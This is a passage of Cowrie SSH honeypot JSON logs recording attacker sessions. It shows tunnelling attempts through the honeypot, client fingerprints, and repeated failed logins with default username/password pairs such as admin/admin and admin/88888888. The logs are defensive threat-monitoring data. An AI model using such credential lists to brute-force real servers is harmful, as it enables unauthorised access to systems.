\\x97\\x9c\\xa5F\\x11nT`\\xe8#\\x07/\\xd2\\x06\\xeao\\x1d\\xc6\\xbbX\\x86\\xae\\rx\\x1bG\\x93\\xec\\xd7L\\xad\\xee\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ?\\xc8'\\xd5\\xd9\\x0c\\x10U\\xc5le\\xb3\\xf2P\\xd9\\x7f\\xd2%\\x00\\xc3\\x8a?Du1\\xce\\x99\\xc1\\x1b\\xa5\\x8a\\x7f\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:56.752185Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"80.94.95.118","src_port":41308,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:41308","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:56.953942Z","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:57.089742Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd49\\x98/\\x05\\x08\\x9e\\x1c\\xa7I\\xbb\\xb2x\"\\xfe\\x9e\\xfd\\xe6I~p\\xf5\\xa0\\xcf\\xf1\\xcc\\xac\\x04-\\x84S\\xde T\\x80\\xc9\\xdd\\xb14\\x1e\\xa2\"\\xba<\\xea\\x15\\x02\\x7fq\\x83\\xb0\\xceV\\x97i\\xcdG\\x0c\\x8dx\\x8cU\\xaf\\x1d\\x83\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xcc\\x83\\x95\\xa1\\x94a!\\x00\\x02i\\xc3\\x8a\\x04$\\x89\\x82WUT\\xc5yA\\xa3\\xe2\\xd90\\x11/-\\x0c\\xd7e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd49\\x98/\\x05\\x08\\x9e\\x1c\\xa7I\\xbb\\xb2x\"\\xfe\\x9e\\xfd\\xe6I~p\\xf5\\xa0\\xcf\\xf1\\xcc\\xac\\x04-\\x84S\\xde T\\x80\\xc9\\xdd\\xb14\\x1e\\xa2\"\\xba<\\xea\\x15\\x02\\x7fq\\x83\\xb0\\xceV\\x97i\\xcdG\\x0c\\x8dx\\x8cU\\xaf\\x1d\\x83\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xcc\\x83\\x95\\xa1\\x94a!\\x00\\x02i\\xc3\\x8a\\x04$\\x89\\x82WUT\\xc5yA\\xa3\\xe2\\xd90\\x11/-\\x0c\\xd7e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:57.093329Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:57.202734Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46348,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f73af95e2e","protocol":"ssh","message":"New connection: 193.32.162.145:46348 (10.17.0.5:22) [session: d5f73af95e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:52:26.404088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:52:26.407608Z","src_ip":"193.32.162.145","session":"d5f73af95e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:52:26.516547Z","src_ip":"193.32.162.145","session":"d5f73af95e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:52:26.841496Z","src_ip":"193.32.162.145","session":"d5f73af95e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:52:27.950164Z","src_ip":"193.32.162.145","session":"d5f73af95e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":49881,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f117a73634f","protocol":"ssh","message":"New connection: 193.46.255.86:49881 (10.17.0.5:22) [session: 2f117a73634f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:31.253587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:31.257657Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:31.382254Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:31.958871Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:33.086708Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd1234","message":"login attempt [admin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:34.214646Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:35.342537Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:36.471232Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:37.598890Z","src_ip":"193.46.255.86","session":"2f117a73634f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":55642,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f025e46906","protocol":"ssh","message":"New connection: 92.118.39.72:55642 (159.203.135.109:22) [session: a7f025e46906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:40.015345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:40.020419Z","src_ip":"92.118.39.72","session":"a7f025e46906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:40.118996Z","src_ip":"92.118.39.72","session":"a7f025e46906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:40.414272Z","src_ip":"92.118.39.72","session":"a7f025e46906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:41.512506Z","src_ip":"92.118.39.72","session":"a7f025e46906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38976,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae39d7c5c1f1","protocol":"ssh","message":"New connection: 2.57.122.210:38976 (159.203.135.109:22) [session: ae39d7c5c1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:50.106885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:50.112395Z","src_ip":"2.57.122.210","session":"ae39d7c5c1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:50.242756Z","src_ip":"2.57.122.210","session":"ae39d7c5c1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:50.543189Z","src_ip":"2.57.122.210","session":"ae39d7c5c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:53:51.645593Z","src_ip":"2.57.122.210","session":"ae39d7c5c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60230,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba087678796","protocol":"ssh","message":"New connection: 193.32.162.145:60230 (10.17.0.5:22) [session: 5ba087678796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:54:39.887407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:54:39.902678Z","src_ip":"193.32.162.145","session":"5ba087678796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sh